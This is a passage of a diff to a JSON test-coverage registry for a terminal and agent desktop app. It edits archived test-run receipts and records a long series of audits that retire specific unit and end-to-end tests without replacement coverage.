-        "Archived retired-suite historical receipt (JSON, original fields/results unchanged): {\"date\":\"2026-08-01\",\"runner\":\"local\",\"platform\":\"macos\",\"command\":\"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/terminal-streaming-refocus-viewport.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --repeat-each=5\",\"result\":\"passed\",\"durationSeconds\":35.2,\"summary\":\"Five consecutive Electron iterations passed after replacing fixed-time readiness and stale tab capture with deterministic viewport and pane-identity oracles.\"}"
+        "Archived retired-suite historical receipt (JSON, original fields/results unchanged): {\"date\":\"2026-08-01\",\"runner\":\"local\",\"platform\":\"macos\",\"command\":\"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/terminal-streaming-refocus-viewport.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --repeat-each=5\",\"result\":\"passed\",\"durationSeconds\":35.2,\"summary\":\"Five consecutive Electron iterations passed after replacing fixed-time readiness and stale tab capture with deterministic viewport and pane-identity oracles.\"}",
+        "NEXT46 terminal-owner layout and whole-case policy: src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts. Complete retired/reduced selectors lose their listed alarms; retained cases have no transferred historical pass or equivalent replacement coverage. Unaffected dated receipts retain only their original exact scopes. This metadata edit is not fresh execution evidence.",
+        "NEXT46 historical original active selector fields (verbatim JSON values; not current coverage):\ncommands: [\n        \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts\",\n        \"pnpm exec electron-vite build --mode e2e\"\n      ]\ntestFiles: [\n        \"src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts\"\n      ]\nassertionRefs: [\n        {\n          \"file\": \"src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts\",\n          \"assertions\": [\n            \"window-wake recovery synchronizes viewport intent exactly once before flushing queued output\",\n            \"heavy visibility resume synchronizes intent exactly once before flushing queued output\"\n          ]\n        }\n      ]\ncoveredPlatforms: [\"macos\"]\ncoveredProviders: [\"local\", \"daemon\"]",
+        "NEXT46 historical original evidenceRuns object (verbatim; no current-selector pass credit):\n{\n          \"date\": \"2026-08-01\",\n          \"runner\": \"local\",\n          \"platform\": \"macos\",\n          \"command\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/terminal-visibility-resume.test.ts\",\n          \"result\": \"passed\",\n          \"durationSeconds\": 0.096,\n          \"summary\": \"14 tests passed, including exact sync count and pre-flush ordering for wake and heavy visibility resume.\",\n          \"currentCommand\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts\"\n        }"
       ],
       "demotionRule": "Demote or quarantine if the Electron oracle flakes without a product bug or harness bug filed to terminal-rendering."
     },
@@ -8528,15 +8291,15 @@
       ],
       "platforms": ["macos", "linux", "windows"],
       "providers": ["paired-runtime", "ssh"],
-      "coveredPlatforms": ["macos", "linux"],
+      "coveredPlatforms": ["macos"],
       "coveredProviders": [],
-      "coverageNotes": "Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. The direct side-effect-facts selector retains six cases: replay exclusion, live sequence handling, stale disposer ownership, one handoff drain, drain-before-snapshot, and stale replacement-snapshot refusal. Successful current-entry snapshot application is not witnessed by the retained snapshot case. Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2162: Reduced inventory-authority source intentionally loses the examples recorded in knownGaps; historical execution is not validation of changed bytes. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2003: Remove SSH/absent-inventory attach refusal, later-subscriber retry, no-view adoption/takeback, provider-tail/unknown-read projections, failed-keystroke retry and simpler loss reattach examples. Keep the existing-subscriber inventory-ready retry alias only at its retained callback, plus retained held-input cancellation/replacement and overlapping attach/loss fences. The inventory driver also loses the whole empty-worktree-publication registration and folder-host/unverifiable scalar examples. Retire the entire dated10-case attach receipt; retain16 independent receipts only in their original scopes. No retained-memory or real-daemon measurement follows from supplied provider inventories. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1991: Remove initial-snapshot sequence-domain, limited-tail/truncation and unknown-output-sequence aliases whose callbacks are removed. The source retains partial-chunk replay and requested-snapshot retry/admission at supplied snapshot/data seams, not equivalent replacement or measured retained-memory proof. Preserve the existing stream/pending-wait capacity aliases only to their retained owning multiplex callbacks with supplied PTY resolutions. Removing the sibling-PTY heartbeat dedup work-count sample does not establish a new decorative fanout budget; the unrelated-PTY cancellation fence survives. Preserve17 unrelated dated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Remove the reasonless-close selector and narrow census aliases to actual retained runtime and injected-inventory callbacks. The removed synthetic census-dedup and isolated pre-boundary timing cases receive no replacement credit; preserve17 unrelated dated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1939 (sources1934/1935): Delete the synthetic watcher-synchronization and partial-reconciliation suites. Retire all affected host-fact, capability-owner, activation-residue and retention-cap aliases because the remaining callbacks do not establish those full claims. Keep exact local hook/timer, byte-stream side effects, exit/disposal, scroll-intent cleanup and deterministic local rank/TTL progression callbacks within their mocked-host scope. No physical paired-host retention, resource budget or equivalent replacement evidence is assigned. The generic broad test command remains a runnable discovery command, never a dated execution receipt. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Delete the complete hook-agent-status projection suite and its two behavioral assertion aliases. Supplied stored hook/title/resume/staleness/rename/question/generation/PTY-retirement/snapshot-version projections are intentionally lost. The separate osc-status-scan gate mentions this source only in existing historical notes and receives no mutation. No measured hidden-output retention, CPU/RSS or resource budget result is claimed by the deleted source or this audit. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Module ownership cleanup retires the modeled cold-park private watcher/render/work-count suites under the current test policy. Their assertions are no longer active evidence. Retained lifecycle tests and headed/headless journeys do not establish equivalent coverage for those removed harness alarms. Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1634 removes low-value IPC, filesystem and runtime projections, argument inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained cancellation, ownership, authorization, filesystem and SQLite boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Audit1417 intentionally deletes src/renderer/src/components/terminal-pane/pty-connection-hidden-tui-snapshot-replay.spec.ts: Loses rich hidden snapshot sequence replay/grid resize and forced repaint after hidden snapshot alarms, including live-trigger deduplication. deletes src/renderer/src/components/terminal-pane/terminal-cold-park-verdict-loop.test.tsx: Loses modeled React oscillation alarm; real pane/watchers are not exercised. deletes src/renderer/src/runtime/remote-runtime-terminal-parse-backpressure.test.ts: Loses delayed credit until parsing, malformed frame/unknown stream handling, discarded transformed output recovery and failed ACK rearm alarms. No equivalent replacement coverage or fresh result is claimed. Historical coverage account: Audit1412 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): This audit removes the browser response-after-manual-disconnect example. Its distinct in-flight response fencing alarm is lost; retained queued-call disconnect tests are not an equivalent replacement. Historical commands and results remain historical. Deterministic headed macOS runs launch an isolated Orca desktop server and a separate paired web client. A byte-identical headless run uses an isolated `orca serve` host. Both create six real paired host PTYs with bounded high-output scrollback, prove sustained output while all six client xterms are warm-mounted but hidden causes zero renderer scheduler work, then drive 180 timed real-PTY spinner frames through a second production `session.tabs.subscribeAll` transport and the real Zustand store. Each worktree must publish and apply only its exact initial-working and final-idle titles. Both topologies ordinary-park five xterms without enabling the lossy retention budget, assert bounded cells/heap/timer lag, then restore the bounded authoritative tail exactly once on the original PTY including output produced while parked and continued input/output. The headed oracle additionally keeps every remote target workspace and terminal unmounted in the host renderer before and after client recovery. Production-parity React contracts reproduce and remove the independent cold-park watcher/title feedback loop, including memo-cache discard, StrictMode cleanup replay, detached split-PTY replacement, and the zero-park fast path. A deterministic cross-boundary contract drives 24 real PTY trackers in distinct worktrees through 2,880 decorative spinner and bare-native redraw chunks and counts host publications, serialized bytes, renderer apply calls, and store mutations while preserving exact per-PTY raw chunks and per-worktree semantic transitions. Fake-clock continuation beyond the 30-minute stale boundary requires one deduplicated refresh per worktree every 15 minutes, globally spaced by at least 50 ms, with every mirrored working status still fresh. Exact-identical Pi plus rotating normalized Pi/Grok frames renew coarse working/permission state; rich prompt/tool/question fields retain their original 30-minute lease, and `stateStartedAt`/acknowledgement identity remain stable across title/hook source swaps. A separate headed desktop-client journey relaunches the host main process while retaining the daemon and a daemon-backgrounded PTY, then requires first-observation foreground sync and continued input/output on the same PTY. Unit coverage keeps layout versions out of snapshot output high-waters when a restored snapshot has no output sequence and retries an existing subscriber only after authoritative provider inventory proves the retained PTY exists. Separate headed/headless ACK-starvation tests recover one stalled stream without replacing its PTY. A headed output-drop oracle proves a successful snapshot probe cannot certify a stale live stream when the authoritative PTY sequence advanced beyond the client high-water. Unit coverage requires an unsequenced client to establish a first-probe baseline, remain attached at the same sequence, and recover only after a later probe advances. A capability-disabled run proves legacy hosts retain the prior lossy limit/TTL fallback. Unit tests cover exact-owner capability routing, raw-stream release, singleton side-effect facts with timed handoff cleanup, 64 simultaneous synthetic-title sources with zero decorative client events after convergence, per-client late-subscribe recovery, semantic bell/title transitions, local animation-frame preservation, legacy no-output-pause delivery gating with exact snapshot restore, provider-authoritative snapshots, 128 active streams plus retry after a 129th-stream capacity rejection, capacity-pressure backoff, full split-leaf remint reconciliation, truncation, and manual-disconnect queue fencing. Linux, Windows, live SSH, and production-scale paired hosts remain gaps. The audit removed the E2E parking override/debug-handle suite. Override exposure guards, delay/retention independence, TTL filtering and debug-handle forwarding alarms are lost. Retained real parking journeys do not establish equivalent test-harness configuration coverage. The test-value audit removes separate responsive-stream, intervening-control-frame and capacity-error classification examples. Retained multiplexer checks use fake clocks and captured transport callbacks; their per-stream isolation, deadline and probe-baseline assertions do not prove an actual host restart or equivalent replacement coverage. Historical run commands and results remain historical. The test-value audit removes the standalone retained/live metadata projection and additive-preference negative example from runtime-client-events.test.ts. Its remaining case checks partial-authority event admission through a captured callback; it does not establish full-pair projection, actual peer delivery or equivalent replacement coverage. Historical commands and results remain historical. The isolated accepted-handle-events observer suite is removed. Its runtime/worktree/pane membership, once-only delivery and listener-release ledger alarms are lost. Live hidden-retention evidence does not establish equivalent observer coverage. Audit1292: The entire host-session mirror empty-inventory settle suite is removed. Live-unpublished versus genuinely-empty hydration, same-ID revision response/in-flight fencing and cleared-tracking pending-probe invalidation alarms are lost. The singleton store and inventories were mocked; no real host census or resume delivery or equivalent replacement coverage is claimed. Audit1302: src/main/runtime/session-tabs-inventory-publication.test.ts: Keep actual runtime public inventory authority across renderer epochs/resync, fallback, aborts and invalid graph publishers. Remove copied nonempty publication, private scan counters/collector and known-host replacement, fake refresh that performs the restoration itself, environment capability flag, and private resume-store characterization whose fixture supplies reservation/rollback ordering. Lose isolated refresh/churn/receiver/capability and copied-payload wiring alarms; no equivalent replacement. Reduced selectors require fresh validation; prior full-suite receipts do not validate removed or changed coverage. No equivalent replacement or physical-provider claim. Audit1312 removes low-value imported specs from aggregate test drivers; old whole-driver execution receipts are archived. Retained registrations are unchanged. No equivalent replacement coverage is claimed. Audit1318: src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts: Retain real local encrypted WebSocket regressions for pre-ready socket replacement preserving a request, close-before-ready logical subscription cleanup, unrelated RPC surviving another deadline, and pending setup abort leaving a sibling pending. Host server is synthetic and uses production crypto; kept scenarios also retain internal diagnostics/memory assertions unchanged. Remove happy routing, authority-envelope, unknown-ID/log, cleanup enum, binary, keepalive/liveness and production-budget/private socket inventories; intentionally lose those alarms, no physical host authorization, independent crypto or remote provider claim. Reduced selectors need fresh validation; historical full-suite receipts do not validate the changed coverage. No equivalent replacement or physical-provider claim. Audit1346 removes the entire private-state-injected session-tabs rich-status boundary suite. Its stale task/question, neutral-title preservation, owner-change and provider-generation alarms are intentionally lost. Retained real terminal journeys do not establish equivalent replacement coverage. The prior mixed 42-contract execution receipt is historical and must not validate the reduced current selector; fresh validation remains required. Audit1352: focused Linux unit selections validated on source head b638e07d395b76af3ba6b03761a1a0fe7e5e026e. Historical statements above retain their original scope. Intentional test losses are recorded in knownGaps; these runs claim no physical-provider, p95, rendered E2E or cross-platform validation. Audit1360: focused Linux unit selections validated on source head 415c9cffc2d10024131ec4b6721767a22195de6d. Historical statements above retain their original scope. Intentional test losses are recorded in knownGaps; these runs claim no physical-provider, p95, rendered E2E or cross-platform validation. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1391: 